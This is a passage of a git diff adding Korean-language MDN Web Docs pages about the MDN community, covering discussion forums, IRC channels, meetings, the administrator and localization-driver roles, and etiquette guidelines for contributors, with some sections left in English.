+<p class="summary">MDN "활동"은 MDN 웹사이트에서 발생하지만, "커뮤니티"는 별도의 온라인 토론과 채팅으로 발생합니다.</p>
+
+<h2 id="비동기적_토론">비동기적 토론</h2>
+
+<p><span id="result_box" lang="ko"><span>정보를 공유하고 토론을 계속하기 위해, MDN은 <a href="https://discourse.mozilla-community.org/c/mdn">Mozilla Discourse 포럼에 자체 카테고리("MDN")를 가지고 있습니다</a>.</span> 문서 생성-번역-유지관리, MDN 플랫폼 개발, 미래계획, 목표설정, 진행상황 추적 등 MDN과 관련된 모든 글을 MDN 카테고리로 작성할 수 있습니다.</span></p>
+
+<ul>
+ <li><span id="result_box" lang="ko"><span>Mozilla Discourse에 가입하려면 <a href="https://discourse.mozilla-community.org/t/signing-up-and-logging-in/16017">가입 및 로그인</a> 주제를 참고하세요.</span> <span>Mozilla LDAP 계정을 가지고 있으면 이메일로 로그인할 수 있습니다.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="ko"><span>MDN 카테고리를 구독하려면 <a href="https://discourse.mozilla-community.org/t/subscribing-to-categories-and-topics/16024">카테고리 및 주제 구독</a>을 참고하세요.</span></span></li>
+ <li><span id="result_box" lang="ko"><span>(선택 사항) 주로 이메일을 통해 Discourse를 사용하는 쪽을 선호하신다면 <a href="https://discourse.mozilla-community.org/t/mailman-mode/15279">메일링 리스트 환경 설정</a>을 참고하세요. </span><span>새로운 주제를 시작하려면 <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>로 메일을 보내면 됩니다.</span> 이메일 환경 설정을 마친 경우 메일에 회신함으로써 답글을 달 수 있습니다<span>.</span> <span>회신 메일에서 의견의 문단을 나누려면, Discourse가 올바르게 분석할 수 있도록 </span></span><span lang="ko"><span>앞과 뒤에 새 줄을 2번 추가해주세요,</span></span></li>
+</ul>
+
+<h3 id="보존용_기록"><span class="short_text" id="result_box" lang="ko"><span>보존용 기록</span></span></h3>
+
+<p><span id="result_box" lang="ko"><span>2017년 6월 이전에는 MDN 관련 토론이 Google 그룹과 함께 게이트웨이되고 보관 된 메일 링리스트에서 진행되었습니다.</span> <span>이전 토론을 검색하려면 이전 메일 링리스트에 해당하는 Google 그룹을 살펴보십시오.</span> <span>(예, 우리는이 이름들이 겹쳐지고 혼동을 일으킨다는 것을 알고 있습니다. 역사적인 사고입니다. 죄송합니다.)</span></span></p>
+
+<dl>
+ <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdc">mozilla.dev.mdc</a> a.k.a dev-mdc</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>이 목록은 MDN의 문서 내용에 대한 토론 용이었습니다.</span></span></dd>
+ <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdn">mozilla.dev.mdn</a> a.k.a dev-mdn</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span>이 목록은 MDN의 기본 Kuma 플랫폼 개발 작업에 관한 것입니다.</span></span></dd>
+ <dt><a href="https://groups.google.com/forum/#!forum/mozilla.mdn">mozilla.mdn</a> a.k.a mdn@</dt>
+ <dd><span id="result_box" lang="ko"><span>이 포럼은 MDN 웹 사이트 및 기타 관련 이니셔티브를위한 높은 수준의 계획 및 우선 순위 토론을위한 것입니다.</span></span></dd>
+</dl>
+
+<h2 id="IRC_채팅하기">IRC 채팅하기</h2>
+
+<p>IRC(Internet Relay Chat)는 커뮤니티 멤버들끼리 매일 채팅하고 실시간으로 토론하기 위한 방법으로 선호됩니다. 저희는 MDN에 관련된 토론을 위해 irc.mozilla.org 서버에 있는 몇 가지 채널을 사용합니다.</p>
+
+<dl>
+ <dt><a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/mdn">#mdn</a></dt>
+ <dd>이 채널은 MDN 콘텐츠에 대해 토론하기 위한 기본적인 채널입니다. 저희는 작성, 콘텐츠 구성 등등에 대해 얘기합니다. 또한 저희는 여기서 "water cooler" 대화를 가집니다. 이는 저희의 커뮤니티가 연락을 유지하고 어울리기 위한 방법입니다. 또한 이는 데모 스튜디오, 프로필 등과 같이 MDN의 다른 측면(플래폼 개발이 아닌 부분)에 대해 토론하는 곳입니다.</dd>
+ <dt> </dt>
+ <dt><a href="irc://irc.mozilla.org/mdndev" title="irc://irc.mozilla.org/mdndev">#mdndev</a></dt>
+ <dd><font color="#4D4E53" face="Open Sans, Arial, sans-serif">이 채널은 우리의 개발 팀 - MDN이 작동하도록 코드를 작성하는 사람들 - 이 어울리고 그들의 일과를 토론하기 위한 곳입니다. 당신이 이 채널에 합류하고 개발에 참여하거나 혹은 단순히 당신이 소프트웨어에 대한 이슈에 관해 질문을 하는 것을 환영합니다.</font></dd>
+</dl>
+
+<p>이 채널들은 대부분 북미 지역에서 주중에 활발합니다.</p>
+
+<p>당신은 IRC에 대해서 좀 더 <a href="http://wiki.mozilla.org/IRC">알고 싶어하고</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/chatzilla/">ChatZilla</a>와 같은 설치형 IRC 클라이언트를 사용하고 싶어 할 것입니다. 이는 쉽고 빠르게 설치하고 사용할 수 있는 Firefox add-on에서 실행될 수 있습니다. 만약 IRC에 익숙하지 않다면, 참여하기 쉬운 방법에는 미리 <a href="http://scrollback.io/mozdn/">mdn</a>과 <a href="http://scrollback.io/mdndev/">mdndev </a>채널들에 맞추어 설계된 <a href="https://chat.mibbit.com/">mibit</a>과 같은 웹기반 IRC 클라이언트를 사용하는 것이 있습니다. </p>
+
+<h2 id="회의_및_기타_행사에_참가"><span class="short_text" id="result_box" lang="ko"><span>회의 (및 기타 행사)에 참가</span></span></h2>
+
+<p><span id="result_box" lang="ko"><span>MDN 팀은 MDN 커뮤니티에 열려있는 여러 정기 모임을 개최합니다.</span> <span>일정, 의제 및 메모, 참여 방법에 대한 자세한 내용은 Mozilla wiki의 <a href="https://wiki.mozilla.org/MDN/Meetings">MDN Meetings</a> 페이지를 참조하십시오.</span></span></p>
+
+<p><span id="result_box" lang="ko"><span>이 회의 및 기타 회의, 지역 회의 및 기타 행사에 대한 <a href="https://www.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530%40resource.calendar.google.com">MDN 이벤트</a> 달력을보십시오.</span> <span>되풀이 모임은 <a href="https://wiki.mozilla.org/MDN/Meetings">MDN Meetings wiki</a> 페이지에 요약되어 있습니다.</span></span></p>
+
+<p> </p>
+
+<p>If you see a meeting which takes place in the "mdn" channel on our Vidyo videoconferencing system, you can <a href="https://v.mozilla.com/flex.html?roomdirect.html&amp;key=gMM1xZxpQgqiQFNkUR3eBuHgxg">join the conversation on the web</a>.</p>
+
+<p> </p>
diff --git a/files/ko/mdn/community/index.html b/files/ko/mdn/community/index.html
new file mode 100644
index 0000000000..faff8c5f2e
--- /dev/null
+++ b/files/ko/mdn/community/index.html
@@ -0,0 +1,46 @@
+---
+title: MDN 커뮤니티 참여하기
+slug: MDN/Community
+tags:
+  - Community
+  - Guide
+  - Landing
+  - MDN Meta
+translation_of: MDN/Community
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<div class="summary">
+<p>MDN 웹 문서는 위키 그 이상입니다. MDN은 공개 웹 기술을 사용하는 개발자들을 위해 뛰어난 자료를 만드는 사람들이 함께 작업하는 커뮤니티입니다.</p>
+</div>
+
+<p>당신이 MDN에 기여하시는 것도 물론 좋지만, 더 나아가 공식 커뮤니티에 참여하시면 정말 기쁘겠습니다. 참여하시는 방법은 다음 세 단계면 됩니다. </p>
+
+<ol>
+ <li><a href="/ko/docs/MDN/Contribute/Howto/Create_an_MDN_account">먼저 MDN 계정 생성을 만들고</a></li>
+ <li><a href="/ko/docs/MDN/Community/Conversations">토론에 참여하고</a></li>
+ <li><a href="/ko/docs/MDN/Community/Whats_happening">어떤 일이 일어나는지 지켜보세요.</a></li>
+</ol>
+
+<h2 id="커뮤니티가_돌아가는_방법">커뮤니티가 돌아가는 방법</h2>
+
+<p>MDN 커뮤니티를 더 자세히 설명하는 글입니다.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/ko/docs/MDN/Community/Roles">커뮤니티의 역할</a></dt>
+ <dd>MDN 커뮤니티에는 특정 책임이 주어진 몇가지 역할들이 있습니다. </dd>
+ <dt><a href="/ko/docs/MDN/Community/Doc_sprints">문서화 스프린트</a></dt>
+ <dd>문서화 스프린트 운영 가이드입니다. 스프린트를 운영해온 사람들의 유익한 조언과 팁이 포함되어있습니다. </dd>
+ <dt><a href="/ko/docs/MDN/Community/Whats_happening">어떤일이 일어나는지 지켜보기 </a></dt>
+ <dd>MDN은 <a href="https://wiki.mozilla.org/MDN">Mozilla Developer Network community</a>가 제공합니다. 하고있는 일에 대한 정보를 공유하는 몇가지 방법을 소개합니다. </dd>
+ <dt><a href="/ko/docs/MDN/Community/Conversations">MDN 커뮤니티의 토론</a></dt>
+ <dd>MDN의 "작업"은 MDN 사이트에서 하지만, "소통"은 (비동기)  토론과 (실시간) 온라인 채팅을 통해 일어납니다.</dd>
+ <dt><a href="/ko/docs/MDN/Community/Working_in_community">커뮤니티에서 작업하기</a></dt>
+ <dd>규모와 관계 없이 MDN 문서 기여시 반드시 알아야 할 것은  MDN 커뮤니티의 일원으로 어떻게 일할는지를 아는 것입니다. 이 글은 다른 글쓴이, 기술팀과 상호작용을 어떻게 잘 할 수 있는지를 알려줍니다. </dd>
+ <dt></dt>
+ <dt></dt>
+</dl>
+</div>
diff --git a/files/ko/mdn/community/roles/admins/index.html b/files/ko/mdn/community/roles/admins/index.html
new file mode 100644
index 0000000000..3fb6fed5bf
--- /dev/null
+++ b/files/ko/mdn/community/roles/admins/index.html
@@ -0,0 +1,59 @@
+---
+title: MDN administrator role
+slug: MDN/Community/Roles/Admins
+translation_of: MDN/Community/Roles/Admins
+---
+<div>{{MDNSidebar}}</div><p>MDN의 규칙 중에서, 관리자의 규칙은 최고의 권한을 가지고 있습니다. 관리자들은 사이트의 플래폼의 모든 기능들과, 심지어 화면 뒷쪽의 자료구조에 제한된 접근을 할 수도 있습니다. 이 페이지는 관리자들이 할 수 있는 일들과, 어떻게 당신이 그러한 것들을 돕기위하여 관리자에게 연락할 수 있는지를 서술합니다.</p>
+
+<h2 id="현재_MDN_관리자들">현재 MDN 관리자들</h2>
+
+<p>현재, 다음에 오는 유저들은 관리자들입니다. {{UserLink("Sheppy")}}, {{UserLink("fscholz")}}, {{UserLink("teoli")}}, {{UserLink("jswisher")}}</p>
+
+<h2 id="관리자_권한">관리자 권한</h2>
+
+<p>관리자들은 많은 양의 특수한 능력을 가지고 있습니다. 다음은 그 중에서 몇가지입니다:</p>
+
+<h3 id="페이지_이동">페이지 이동</h3>
+
+<p>모든 관리자들은 페이지 혹은 페이지 묶음을 이동할 권한이 있습니다. </p>
+
+<h3 id="페이지_삭제">페이지 삭제</h3>
+
+<p>모든 관리자들은 MDN 위키의 어떤 페이지를 삭제할 권한이 있습니다. 하지만, 보통, 당신이 페어떤 페이지가 삭제되길 원한다면, 간단히 "junk"태그를 페이지에 추가하세요. 내용을 수정하거나 삭제하지 마세요(그렇게 하는 것은 페이지가 실제로 삭제될 필요가 있는지 확실히 확인하기 힘들어집니다.) 만약 특수한 문제가 있다면 (예를 들어 공격적인 내용), 관리자에 직접 연락해주세요.</p>
+
+<p>관리자들은 또한 이전에 삭제된 페이지들을 복구할 권한이 있습니다.(최소한, 그 페이지들이 시스템으로부터 삭제되지 않았을때까지). 만약 당신이 어떤 페이지가 부적절하게 삭제되었다는 것을 발견하면, 관리자에게 연락하세요.</p>
+
+<h3 id="권한을_부여하거나_삭제">권한을 부여하거나 삭제</h3>
+
+<p>관리자들은 유저의 권한을 변경할 수 있습니다. 이러한 과정 뒤에, 어떤 처리가 있습니다; 더 많은 정보를 위하여, <a href="/en-US/docs/MDN/Contribute/Tools_with_restricted_access">도구</a>들을 보세요.</p>
+
+<h3 id="사용자들을_금지하거나_풀어주기">사용자들을 금지하거나 풀어주기</h3>
+
+<p>때때로, 사용자들은 그들이 MDN 컨텐츠를 수정하지 못하도록 금지할 필요가 있을 만한 문제를 일으킵니다. (임시적으로 혹은 영구적으로). 관리자들은 (토픽 드라이버들 혹은 지역화 팀 리더들 또한)은 관리자들을 이미 존재하는 금지를 풀어줄뿐만 아니라, 사용자들을 금지할 권한이 있습니다.</p>
+
+<h3 id="zones을_생성편집">zones을 생성/편집</h3>
+
+<p>MDN 관리자들은 새로운 zones을 생성하고, 존재하는 페이지를 zones에 넣고, zone의 정보와 CSS를 수정할 수 있습니다. zones에 대해 더 많은 정보를 원하면, <a href="/en-US/docs/MDN/User_guide/Zone_administration">Zone 관리자</a> 가이드를 보세요.  </p>
+
+<h3 id="유저_정보_편집">유저 정보 편집</h3>
+
+<p>MDN 관리자들은 아직 편집을 위한 유저 인터페이스가 존재하지 않는 유저 정보를 변경할 권한이 있습니다. 만약 당신의 이름을 변경하거나, email 주소를 예전의 MDN 계정과 연동시킬 필요가 있다면, <strong>우리는 당신을 도와줄 수 있다고 약속할 수 없습니다; 모든 요청이 만족될수는 없습니다.</strong></p>
+
+<h3 id="캘린더_항목을_추가하거나_변경">캘린더 항목을 추가하거나 변경</h3>
+
+<p>MDN 관리자들은 <a href="https://mail.mozilla.com/home/publiccalendar@mozilla.com/MDN_Events.html">MDN 이벤트 캘린더</a>에 추가하거나 업데이트를 할 수 있습니다. 만약 당신의 팀이 미팅을 가지거나, 이미 존재하는 이벤트에 문제가 보인다면, 부디 관리자들이 알 수 있게 해주세요, 우리가 처리하겠습니다.</p>
+
+<h3 id="KumaScript_macros를_편집">KumaScript macros를 편집</h3>
+
+<p>모든 MDN 관리자들은 <a href="/en-US/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript macros</a>를 편집할 수 있습니다.(또한 KumaScript 템플릿으로도 알려져 있습니다. 비록 그 팀이 정황상 비난 받더라도).</p>
+
+<h2 id="관리자에게_연락하기">관리자에게 연락하기</h2>
+
+<p>당신은 특정한 관리자를 위에 있는 그들의 프로필을 이용하거나, 혹은 <a href="mailto:mdn-admins@mozilla.org?subject=Admin%20help%20request">mdn-admins@mozilla.org</a>에 메시지를 전송함으로써 연락할 수 있습니다. </p>
+
+<h2 id="다음도_같이_보세요">다음도 같이 보세요</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Drivers_and_curators">Topic drivers and curators</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Localization_driver_role">Localization driver role</a></li>
+</ul>
diff --git a/files/ko/mdn/community/roles/index.html b/files/ko/mdn/community/roles/index.html
new file mode 100644
index 0000000000..c98b89f4e1
--- /dev/null
+++ b/files/ko/mdn/community/roles/index.html
@@ -0,0 +1,14 @@
+---
+title: 커뮤니티 역할
+slug: MDN/Community/Roles
+tags:
+  - Community
+  - Landing
+  - MDN Meta
+translation_of: MDN/Community/Roles
+---
+<div>{{MDNSidebar}}</div>
+
+<p>MDN 커뮤니티에는 각자 맡은 책임이 있는 역할이 몇 가지 있습니다.</p>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/ko/mdn/community/roles/localization_driver_role/index.html b/files/ko/mdn/community/roles/localization_driver_role/index.html
new file mode 100644
index 0000000000..f3bde14ee8
--- /dev/null
+++ b/files/ko/mdn/community/roles/localization_driver_role/index.html
@@ -0,0 +1,66 @@
+---
+title: 지역화 운동가의 역할
+slug: MDN/Community/Roles/Localization_driver_role
+translation_of: MDN/Community/Roles/Localization_driver_role
+---
+<div>{{MDNSidebar}}</div><p>MDN 지역화 운동가는 특정 언어나, 지역을 위한 MDN의 문서 활동들을 조정하고 이끌고 있습니다. 그들은 MDN의 구조 문서, 번역가들의 흥미, 그리고 모질라에 관해 정보를 유지합니다. 그들은 그들의 지역에 관련된 모든 번역을 할 필요는 없습니다. 그리고 사실상, 그들은 번역에 관심있는 기여자들의 그룹을 모으고, 그룹 사이에서 작업을 조정하도록 권해집니다. 활발한 지역 목록과 현재 l10n 운동가들의 <a href="/en-US/docs/MDN/Contribute/Localize/Localization_projects">지역화 프로젝트</a> 페이지를 보십시오. </p>
+
+<h2 id="왜_지역화_운동가가_돼야_하는가">왜 지역화 운동가가 돼야 하는가?</h2>
+
+<p>l10n 운동가팀이 되는것은 커뮤니티에 깊게 빠져들게될 기회를 제공하며, 그리고 어떻게 모질라가 당신의 언어 커뮤니티에 인식되는지에 대한 강력한 영향을 가지는 것입니다. 아마도 당신의 현재 직업에 혹은 다른 직업을 얻는 것에 도움을 주기위해 이런 전문 지식을 사용할 수 있습니다.</p>
+
+<p>게다가, l10n 운동가로써, 당신은 웹의 품질을 향상시키기 위한 원동력이 될 수 있습니다.</p>
+
+<h2 id="l10n_운동가가_되는_것">l10n 운동가가 되는 것</h2>
+
+<p>아직 l10n 운동가를 가지지 않은 지역에서 l10n운동가가 되기위해서는, 다음의 자질을 만족할 필요가 있습니다.</p>
+
+<ul>
+ <li>지역의 언어에 대한 전문지식.</li>
+ <li>지역에 대한 활발한 기여(적어도 한달에 한번).</li>
+ <li>다양하고, 지리적으로 분산된 커뮤니티와 의사소통하는 능력</li>
+</ul>
+
+<p>l10n 운동가가 되기 위한 최적의 방법은 그들 처럼 활동하는 것입니다. l10n 운동가들의 과제의 대부분은 특별한 능력이나 허가를 요구하지 않습니다.</p>
+
+<p>당신이 위의 요구사항을 만족했다면, 당신은 운동가가 되고 싶어하는 지역의 <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">dev-mdc 메일링 리스트</a>에 당신의 자질에 대한 개요와 이 지역에 대해 무엇이 필요한지에 대한 설명과 함께 글을 올릴 수 있습니다. 만약 당신이 자질들을 만족한다면, 저희는 당신이 자립하고, 어떻게 당신에게 주어진 새로운 특권을 사용하는지에 대한 기본이 훈련되도록 노력할 것입니다.</p>
+
+<h3 id="l10n_운동가들_도와주기"><strong>l10n 운동가들 도와주기</strong></h3>
+
+<p>저희는 각 지역의 운동가들의 수를 제한하지 않습니다. 당연히, 그들은 협력할 필요가 있습니다 :-) 그러니 그들을 도와주는 것을 망설이지 마세요. 스팸과 오류같은 컨텐츠를 감시하는 것을 도와주세요. 새롭게 번역된 기사를 편집하는 것과 이미 번역된 기사들을 갱신하는 것 모두 당신이 도울 수 있는 작업들입니다.</p>
+
+<h2 id="의무">의무</h2>
+
+<p>l10n 운동가들의 역할은 다수의 중요한 의무가 달려옵니다. 그 의무들중 몇 가지에는:</p>
+
+<ul>
+ <li>작업이 완료되고, 사람들이 실수로 같은 것을 두 번 번역하지 않도록 확실히 하기 위해서, 한 언어의 번역에 종사하는 커뮤니티를 조정하라. wiki뿐만 아니라 MDN웹 사이트의 UI번역을 위해 그 지역의 새로운 기여자를 선발하고 협업해라.</li>
+ <li>번역된 페이지를 조직화 해라. 문서의 계층도, 즉 구조상의 오류를 고쳐라. 번역가들의 커뮤니티에 가장 중요한 페이지와 커뮤니케이션 해라. 메크로 또한 번역된다는 것을 명심하라.</li>
+ <li><a href="/en-US/docs/MDN/Community#Join_our_biweekly_meetings_(and_other_events)">격주로 진행되는 MDN 커뮤니티 모임</a>에 참여하거나,<a href="/en-US/docs/MDN/Community#Join_our_mailing_lists"> dev-mdc 메일링 리스트</a>의 토론에 참여하는 것과 같은 방법들을 통해, 문서 작업의 진행과 상태를 MDN 커뮤니티와 공유해라.</li>
+ <li>당신이 무리없이 할 수 있는만큼만 작업하는데 시간을 할애하여라; 당신은 모든 작업을 할 필요가 없으나 만약 조금이라도 기여한다면 도움이 될 것이다.</li>
+</ul>
+
+<h2 id="특권">특권</h2>
+
+<p>MDN의 모든 허가된 사용자들에게 주어진 특권에 더하여(변경을 되돌리기와 같은 l10n 운동가들은 이러한 특권들을 가지고 있습니다:</p>
+
+<ul>
+ <li>페이지들의 묶음 혹은 페이지들 이동시키기</li>
+ <li>파일 첨부 관리하고 업로드하기</li>
+ <li>KumaScript 메크로들을 수정하기</li>
+</ul>
+
+<p>저희는 앞으로 기여자들의 리스트에 접근하거나, 대량으로 이메일을 보내는 사람들을 차단하는 권한과 같은 새로운 특권들을 추가할 예정입니다. </p>
+
+<h2 id="임무를_떠나서">임무를 떠나서</h2>
+
+<p>한 명의 l10n 운동가가 되면, 당신은 임무에 영원히 머무를 필요가 없습니다. 당신의 흥미, 우선순위, 그리고 할애가능한 시간은 바뀔 수 있습니다. 당신이 한 명의 l10n 운동가로써 계속 할 수 없다고 생각한다면(혹은 당신이 이미 그만두었다는 것을 깨달았다면), 부디 아래의 절차를 취해주세요:</p>
+
+<ul>
+ <li>당신이 l10n 운동가에서 물러남을 알리기 위해 MDN 문서의 지도자(혹은 다른 MDN 관리자들)인<a href="/en-US/profiles/sheppy"> Eric Shepherd</a>에게 연락해주세요</li>
+ <li>만약 가능하다면, 당신의 지역에서 활발한 기여자에게 l10n 운동가를 시작하도록 요청해주세요. 만약 그 사람이 동의한다면, MDN 문서 지도자에게 알려주세요.</li>
+</ul>
+
+<p>만약 당신이 2달 이상동안, MDN(혹은 dev-mdc 메일링 리스트)에 활발히 활동해오지 않았다면, l10n 운동가를 계속하기를 원하는 지를 확인하기 위해 연락받을 수 있습니다. 3달 이상 활동하지 않거나, 연락받았을 때 응답하지 않은 L10n 운동가들은 그들의 역할로부터 삭제될 수 있습니다. </p>
+
+<p> </p>
diff --git a/files/ko/mdn/community/working_in_community/index.html b/files/ko/mdn/community/working_in_community/index.html
new file mode 100644
index 0000000000..0398e29823
--- /dev/null
+++ b/files/ko/mdn/community/working_in_community/index.html
@@ -0,0 +1,110 @@
+---
+title: 커뮤니티에서의 활동
+slug: MDN/Community/Working_in_community
+translation_of: MDN/Community/Working_in_community
+---
+<div>{{MDNSidebar}}</div>
+
+<p>A major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.</p>
+
+<h2 id="에티켓_가이드라인">에티켓 가이드라인</h2>
+
+<p>Mozilla 커뮤니티와 함께 일하면서 지켜주셨으면 하는 사항들입니다.</p>
+
+<ul>
+ <li>예의를 지켜주세요! 합의점을 찾기 힘든 사항이더라도 우리 모두는 더 나은 웹을 만들고자하는 공통적인 목표가 있습니다.</li>
+ <li>요구하기보다는 질문으로 정중하게 물어봐주세요. 요구할 때보다 정중하게 도움을 요청한다면 기대 이상의 좋은 답변을 기대하실 수 있을 것 입니다. 개발 커뮤니티 일원 모두 문서 작업이 중요하다는 사실을 인지하고 있습니다. 그러나 상대방에게 존중심이 부족한 말이나 행동은 그에 걸맞는 대우를 받을 수 있습니다. </li>
+ <li>정보의 필요성과 긴급성, 그리고 다른 일원분들의 시간 투자를 염두에 두고 균형을 잘 조율해주시길 바랍니다. 정말로 필요한게 아니라면, 대화에 참가하고 있는 분들에게 폐를 끼칠 정도의 많은 정보를 요청하거나 재촉하지 말아주세요.</li>
+ <li>당신의 요청은 다른 사람들의 소중한 시간을 사용하게 된다는 점을 염두에 두시고, 그 시간을 현명히 사용해주시길 바랍니다.</li>
+ <li>문화적 차이에 대해 존중심을 보여주세요. Mozilla 는 다국적, 다문화적 팀입니다. 다른 사람과 대화할 때, 상대방의 문화를 염두에 두어주시길 바랍니다.</li>
+ <li>진행 중인 대화에 끼어들기보다 새로운 대화를 시작해 주세요. Don't inject your questions into an unrelated conversation just because the people you need to talk to are paying attention to it. While convenient for you, this can irritate the people you're trying to talk to, and result in a less than ideal outcome.</li>
+ <li>{{interwiki("wikipedia", "bikeshedding")}}는 자제해 주세요. 열정이 사소한 것에 대한 집착으로 이어지지 않도록 조심해주세요. 대화가 주제에서 이탈할 수 있고 불편해질 수 있습니다.</li>
+</ul>
+
+<h2 id="Be_tactful">Be tactful</h2>
+
+<p>Always be tactful and respectful when communicating with others.</p>
+
+<h3 id="Politely_pointing_out_mistakes">Politely pointing out mistakes</h3>
+
+<p>If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the bad guy.</p>
+
+<p>For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case is underlined):</p>
+
+<blockquote>
+<p>안녕하세요 홍길동씨, <u>웜홀 API 문서</u> 에 대한 홍길동씨의 기여에 대해 감사드립니다. 저는 특히 홍길동씨께서 <u>가독성과 세부정보를 균형있게 서술한 점을 인상깊게 보았습니다.</u> 아마도 작업하시면서 <u>correct tag를 페이지마다 추가해주신다면 </u>이 문서를 더 유익하고 잘 만들어 나갈 수 있을 것 같습니다.</p>
+
+<p><u>자세한 사항은 MDN 태그가이드를 이용해 주세요(<a href="/ko/docs/MDN/Contribute?Howto/Tag/">https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag</a>)</u></p>
+
+<p>다시 한번 감사를 드리며 앞으로의 기여활동도 기대하겠습니다!</p>
+</blockquote>
+
+<h2 id="지식_공유">지식 공유</h2>
+
+<p>MDN 프로젝트에 참여하면서 무슨 일들이 일어나는지 파악하고 다른 멤버들과 소통하는 것이 본인에게 도움이 됩니다. 커뮤니티 내의 다른 분들과 소통하므로 아이디어를 얻거나 공유할 수 있습니다. 우리는 누가 주체가 되어 무슨 일을 진행하는지 알 수 있는 도구들과 리소스들을 제공하고 있습니다.</p>
+
+<h3 id="Communication_channels">Communication channels</h3>
+
+<p>There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.</p>
+
+<h4 id="Discourse">Discourse</h4>
+
+<p>The <a href="https://discourse.mozilla.org/c/mdn">MDN Discourse forum</a> is a good place to ask general questions about MDN contribution and start discussions.</p>
+
+<h4 id="Chat">Chat</h4>
+
+<p>Use the Matrix chat system to reach people in real time. MDN staff members are available in the <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs room</a>, and are active during work days in Europe and North America. Explore the other chat rooms to find people involved in topics you're interested in.</p>
+
+<h4 id="GitHub">GitHub</h4>
+
+<p>If you find a problem on MDN, or want to ask a question, you can file an issue over on our <a href="https://github.com/mdn/sprints/issues">GitHub sprints repo issues</a>! They will then be triaged and actioned at some point in the future.</p>
+
+<h4 id="Email">Email</h4>
+
+<p>Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.</p>
+
+<div class="note">
+<p><strong>Note:</strong> As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission Discourse or a mailing list first, unless you've exhausted all other attempts at getting in touch.</p>
+</div>
+
+<h3 id="Content_status_tools">Content status tools</h3>
+
+<p>We have several useful tools that provide information about the status of documentation content.</p>
+
+<dl>
+ <dt><a href="/dashboards/revisions">Revision dashboard</a></dt>
+ <dd>The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">Documentation status overview</a></dt>
+ <dd>Our <a href="https://developer.mozilla.org/en-US/docs/MDN/Doc_status/Overview">documentation status overview</a> page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.</dd>
+ <dt><a href="/en-US/docs/MDN/Plans">Documentation project plans</a></dt>
+ <dd>We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.</dd>
+ <dt><a href="https://tree.taiga.io/project/viya-mdn-durable-team">MDN Taiga</a></dt>
+ <dd>The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our <a href="https://wiki.mozilla.org/Engagement/MDN_Durable_Team/Processes">Process page on the Mozilla wiki</a>.</dd>
+</dl>
+
+<h2 id="The_development_community">The development community</h2>
+
+<p>Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!</p>
+
+<p>In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.</p>
+
+<p>On a related note, a great way to find the right person to talk to is to look at the <a href="https://wiki.mozilla.org/Modules">module owners lists</a>.</p>
+
+<h2 id="The_writing_community">The writing community</h2>
+
+<p>The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.</p>
+
+<p>See the article <a href="/en-US/docs/MDN/Community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">Join the community</a> for more information about the MDN community.</p>
+
+<p>The most frequent place you'll directly interact with other writers is in the <a href="https://discourse.mozilla.org/c/mdn">Discourse forum</a>.</p>
+
+<p>By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually, things go very smoothly.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Project:MDN/Contributing" title="/en-US/docs/Project:MDN/Contributing">Contributing to MDN</a></li>
+ <li><a href="/en-US/docs/Project:MDN/Contributing/Join_the_community" title="/en-US/docs/Project:MDN/Contributing/Join_the_community">MDN community</a></li>
